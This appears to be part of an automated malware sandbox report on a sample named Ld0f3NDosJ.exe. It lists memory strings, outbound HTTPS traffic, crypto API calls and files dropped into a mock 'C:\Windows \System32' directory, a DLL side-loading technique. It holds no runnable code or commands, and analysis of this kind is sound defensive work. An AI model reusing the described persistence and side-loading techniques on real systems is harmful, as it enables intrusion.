Source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3359858423.00000000660F4000.00000008.00000001.01000000.00000013.sdmp	String found in binary or memory: https://www.gnu.org/licenses/
Source: svchost.exe	String found in binary or memory: https://www.openssl.org/
Source: Ld0f3NDosJ.exe, 00000003.00000003.2284751779.000001E8C10DD000.00000004.00000020.00020000.00000000.sdmp, pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmp, svchost.exe, 00000035.00000002.3362491724.00007FFD93C8E000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.openssl.org/H

Source: unknown	Network traffic detected: HTTP traffic on port 63778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63790
Source: unknown	Network traffic detected: HTTP traffic on port 63796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63778
Source: unknown	Network traffic detected: HTTP traffic on port 63790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63799

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:63784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.6:63796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63799 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5581180 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,		53_2_00007FFDA5581180
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5581180 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,		59_2_00007FFDA5581180

Source: cmd.exe

Process created: 59

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Code function: 3_2_00007FF646E594B0: DeviceIoControl,GetLastError,

3_2_00007FF646E594B0

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Code function: 3_2_00007FF646E47800 WTSGetActiveConsoleSessionId,WTSQueryUserToken,CreateProcessAsUserW,CloseHandle,CloseHandle,CloseHandle,_invalid_parameter_noinfo_noreturn,

3_2_00007FF646E47800

Source: C:\Users\user\Desktop\pyld64.exe	File created: C:\Windows\System32\usvcinsta64.exe	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.exe	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows \System32
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\winsvcf
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\winsvcf\winlogsvc
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x543664.dat
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\crypti.exe
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\crypti.exe
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\crypti.exe
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\crypti.exe
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\crypti.exe
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\crypti.exe
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\crypti.exe

Source: C:\Windows\System32\svchost.exe

File deleted: C:\Windows\System32\crypti.exe

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E566B0	3_2_00007FF646E566B0
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E70008	3_2_00007FF646E70008
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E55770	3_2_00007FF646E55770
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E720DC	3_2_00007FF646E720DC
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E6ADFC	3_2_00007FF646E6ADFC
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E56D80	3_2_00007FF646E56D80
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E65EDC	3_2_00007FF646E65EDC
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E62E60	3_2_00007FF646E62E60
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E58E3C	3_2_00007FF646E58E3C
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E64BD8	3_2_00007FF646E64BD8
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E51BD0	3_2_00007FF646E51BD0
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E71B84	3_2_00007FF646E71B84
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E42350	3_2_00007FF646E42350
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E62534	3_2_00007FF646E62534
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E42CC0	3_2_00007FF646E42CC0
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E4E990	3_2_00007FF646E4E990
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E4DB00	3_2_00007FF646E4DB00
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E6EABC	3_2_00007FF646E6EABC
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E4E2A0	3_2_00007FF646E4E2A0
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E6D270	3_2_00007FF646E6D270
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E43240	3_2_00007FF646E43240
Source: C:\Windows \System32\printui.exe	Code function: 40_2_00007FF68C6210E0	40_2_00007FF68C6210E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6600A230	53_2_6600A230
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_66010760	53_2_66010760
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_66009810	53_2_66009810
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6600BC90	53_2_6600BC90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_660050A0	53_2_660050A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_66019CB0	53_2_66019CB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6600ACD0	53_2_6600ACD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_66004CE0	53_2_66004CE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6600DD20	53_2_6600DD20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6600CD60	53_2_6600CD60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6600E580	53_2_6600E580
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6600D5A0	53_2_6600D5A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_660121B0	53_2_660121B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6828A0B0	53_2_6828A0B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6828C220	53_2_6828C220
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_68281C10	53_2_68281C10
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_68283500	53_2_68283500
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_682926C1	53_2_682926C1
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942F71F0	53_2_00007FFD942F71F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942F6C98	53_2_00007FFD942F6C98
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD9424BCB9	53_2_00007FFD9424BCB9
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD94244CAC	53_2_00007FFD94244CAC
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD9424B4F0	53_2_00007FFD9424B4F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD9424AD40	53_2_00007FFD9424AD40
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942428F0	53_2_00007FFD942428F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942C21A0	53_2_00007FFD942C21A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942E6688	53_2_00007FFD942E6688
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD9424E350	53_2_00007FFD9424E350
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD94243B20	53_2_00007FFD94243B20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942443D1	53_2_00007FFD942443D1
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3330EB0	53_2_00007FFDA3330EB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3381310	53_2_00007FFDA3381310
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33AC280	53_2_00007FFDA33AC280
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3368350	53_2_00007FFDA3368350
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33422E0	53_2_00007FFDA33422E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338A2E0	53_2_00007FFDA338A2E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335C240	53_2_00007FFDA335C240
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3322210	53_2_00007FFDA3322210
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336C210	53_2_00007FFDA336C210
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337E0F0	53_2_00007FFDA337E0F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338A6B0	53_2_00007FFDA338A6B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336C700	53_2_00007FFDA336C700
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3380590	53_2_00007FFDA3380590
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333C610	53_2_00007FFDA333C610
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3390550	53_2_00007FFDA3390550
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338E4E0	53_2_00007FFDA338E4E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3378B60	53_2_00007FFDA3378B60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334CA90	53_2_00007FFDA334CA90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338CB30	53_2_00007FFDA338CB30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A69E0	53_2_00007FFDA33A69E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3382FA0	53_2_00007FFDA3382FA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336EDC0	53_2_00007FFDA336EDC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3394CC0	53_2_00007FFDA3394CC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3384CD0	53_2_00007FFDA3384CD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3325380	53_2_00007FFDA3325380
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336F420	53_2_00007FFDA336F420
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3327400	53_2_00007FFDA3327400
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A92A0	53_2_00007FFDA33A92A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33432C0	53_2_00007FFDA33432C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337D260	53_2_00007FFDA337D260
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33970A0	53_2_00007FFDA33970A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337F0F0	53_2_00007FFDA337F0F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333B830	53_2_00007FFDA333B830
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33856E0	53_2_00007FFDA33856E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33834C0	53_2_00007FFDA33834C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332FBB0	53_2_00007FFDA332FBB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3385C20	53_2_00007FFDA3385C20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3323C40	53_2_00007FFDA3323C40
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A9C40	53_2_00007FFDA33A9C40
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337DAD0	53_2_00007FFDA337DAD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33938C0	53_2_00007FFDA33938C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339985F	53_2_00007FFDA339985F
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333B950	53_2_00007FFDA333B950
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3352020	53_2_00007FFDA3352020
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332C030	53_2_00007FFDA332C030
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3387FE0	53_2_00007FFDA3387FE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334DEA0	53_2_00007FFDA334DEA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3395E80	53_2_00007FFDA3395E80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3399CC1	53_2_00007FFDA3399CC1
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A1D30	53_2_00007FFDA33A1D30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3788D70	53_2_00007FFDA3788D70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3783440	53_2_00007FFDA3783440
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3776AE0	53_2_00007FFDA3776AE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA378E8E0	53_2_00007FFDA378E8E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA37908B0	53_2_00007FFDA37908B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA378E820	53_2_00007FFDA378E820
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA378DF00	53_2_00007FFDA378DF00
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55377AB	53_2_00007FFDA55377AB
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA553817D	53_2_00007FFDA553817D
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5532A10	53_2_00007FFDA5532A10
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA553D080	53_2_00007FFDA553D080
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA553794B	53_2_00007FFDA553794B
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5531520	53_2_00007FFDA5531520
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55BB470	53_2_00007FFDA55BB470
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55C2780	53_2_00007FFDA55C2780
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5577EE0	53_2_00007FFDA5577EE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5591AC0	53_2_00007FFDA5591AC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55CBA86	53_2_00007FFDA55CBA86
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5572B20	53_2_00007FFDA5572B20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55C8570	53_2_00007FFDA55C8570
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA558C620	53_2_00007FFDA558C620
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5582610	53_2_00007FFDA5582610
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55A84C0	53_2_00007FFDA55A84C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55C4530	53_2_00007FFDA55C4530
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55B84F0	53_2_00007FFDA55B84F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55BB790	53_2_00007FFDA55BB790
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55A76B0	53_2_00007FFDA55A76B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA557D660	53_2_00007FFDA557D660
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55A6660	53_2_00007FFDA55A6660
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55801D0	53_2_00007FFDA55801D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5581180	53_2_00007FFDA5581180
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55C3180	53_2_00007FFDA55C3180
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C58A60	59_2_00007FF6F8C58A60
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C701B8	59_2_00007FF6F8C701B8
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C791DC	59_2_00007FF6F8C791DC
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C56300	59_2_00007FF6F8C56300
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C60AB0	59_2_00007FF6F8C60AB0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C852A0	59_2_00007FF6F8C852A0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C55A70	59_2_00007FF6F8C55A70
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C82260	59_2_00007FF6F8C82260
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C6DC10	59_2_00007FF6F8C6DC10
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C78BC8	59_2_00007FF6F8C78BC8
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C623F0	59_2_00007FF6F8C623F0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C885FC	59_2_00007FF6F8C885FC
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C69DB0	59_2_00007FF6F8C69DB0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C67550	59_2_00007FF6F8C67550
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C51E40	59_2_00007FF6F8C51E40
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C867EC	59_2_00007FF6F8C867EC
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C7B794	59_2_00007FF6F8C7B794
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C83764	59_2_00007FF6F8C83764
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C7A934	59_2_00007FF6F8C7A934
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C600F0	59_2_00007FF6F8C600F0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C56880	59_2_00007FF6F8C56880
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C880A4	59_2_00007FF6F8C880A4
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55C8570	59_2_00007FFDA55C8570
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA558C620	59_2_00007FFDA558C620
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5582610	59_2_00007FFDA5582610
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55A84C0	59_2_00007FFDA55A84C0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55BB470	59_2_00007FFDA55BB470
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55C4530	59_2_00007FFDA55C4530
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55B84F0	59_2_00007FFDA55B84F0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55C2780	59_2_00007FFDA55C2780
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55BB790	59_2_00007FFDA55BB790
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55A76B0	59_2_00007FFDA55A76B0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA557D660	59_2_00007FFDA557D660
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55A6660	59_2_00007FFDA55A6660
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55801D0	59_2_00007FFDA55801D0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5581180	59_2_00007FFDA5581180
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55C3180	59_2_00007FFDA55C3180
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA559E3C0	59_2_00007FFDA559E3C0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5582380	59_2_00007FFDA5582380
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55BF430	59_2_00007FFDA55BF430
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55B5D00	59_2_00007FFDA55B5D00
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55A8E60	59_2_00007FFDA55A8E60
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5577EE0	59_2_00007FFDA5577EE0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55A6C3E	59_2_00007FFDA55A6C3E
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5591AC0	59_2_00007FFDA5591AC0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55CBA86	59_2_00007FFDA55CBA86
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55ABA80	59_2_00007FFDA55ABA80
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5572B20	59_2_00007FFDA5572B20
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3527180	84_2_00007FF6D3527180
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3573C18	84_2_00007FF6D3573C18
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D353A3E0	84_2_00007FF6D353A3E0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D352C2B0	84_2_00007FF6D352C2B0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D352D2B0	84_2_00007FF6D352D2B0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3549258	84_2_00007FF6D3549258
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D355F254	84_2_00007FF6D355F254
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3548250	84_2_00007FF6D3548250
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356B2FC	84_2_00007FF6D356B2FC
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3570300	84_2_00007FF6D3570300
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3526190	84_2_00007FF6D3526190
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D35611F8	84_2_00007FF6D35611F8
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D35341E0	84_2_00007FF6D35341E0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3548790	84_2_00007FF6D3548790
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3525820	84_2_00007FF6D3525820
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356A7EC	84_2_00007FF6D356A7EC
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D354A7F0	84_2_00007FF6D354A7F0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356167C	84_2_00007FF6D356167C
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3526710	84_2_00007FF6D3526710
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D35736C0	84_2_00007FF6D35736C0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356D568	84_2_00007FF6D356D568
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D353A5C0	84_2_00007FF6D353A5C0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356AC84	84_2_00007FF6D356AC84
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3548B96	84_2_00007FF6D3548B96
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3563B78	84_2_00007FF6D3563B78
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3552B58	84_2_00007FF6D3552B58
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356BBF0	84_2_00007FF6D356BBF0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D352CBC0	84_2_00007FF6D352CBC0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D353ABD0	84_2_00007FF6D353ABD0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3538AA0	84_2_00007FF6D3538AA0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3548980	84_2_00007FF6D3548980
